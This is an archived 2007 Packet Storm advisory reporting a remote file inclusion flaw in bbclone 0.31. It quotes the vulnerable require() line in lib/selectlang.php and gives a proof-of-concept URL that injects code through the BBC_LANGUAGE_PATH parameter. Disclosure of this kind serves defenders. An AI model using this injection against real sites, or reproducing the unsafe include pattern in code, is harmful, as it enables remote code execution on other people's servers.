bbclone-rfi.txt

2007-01-24T00:00:00
ID PACKETSTORM:53866
Type packetstorm
Reporter Dr Max Virus
Modified 2007-01-24T00:00:00

Description

                                        
                                            `------------------------------------------------------------------------------------------------------------------------  
Script:bbclone  
Affected Version:0.31  
Downlaoad:http://sindominio.net/ayuda/bbclone-0.31-esp.zip  
------------------------------------------------------------------------------------------------------------------------  
Author:Dr Max Virus  
------------------------------------------------------------------------------------------------------------------------  
Bug in (lib/selectlang.php)  
Vul Code;  
require($BBC_LANGUAGE_PATH . $BBC_LANGUAGE . ".php");  
------------------------------------------------------------------------------------------------------------------------  
POC:  
http://[target]/[path]/lib/selectlang.php?BBC_LANGUAGE_PATH=[Bad Code]  
------------------------------------------------------------------------------------------------------------------------  
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends  
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk  
------------------------------------------------------------------------------------------------------------------------  
  
`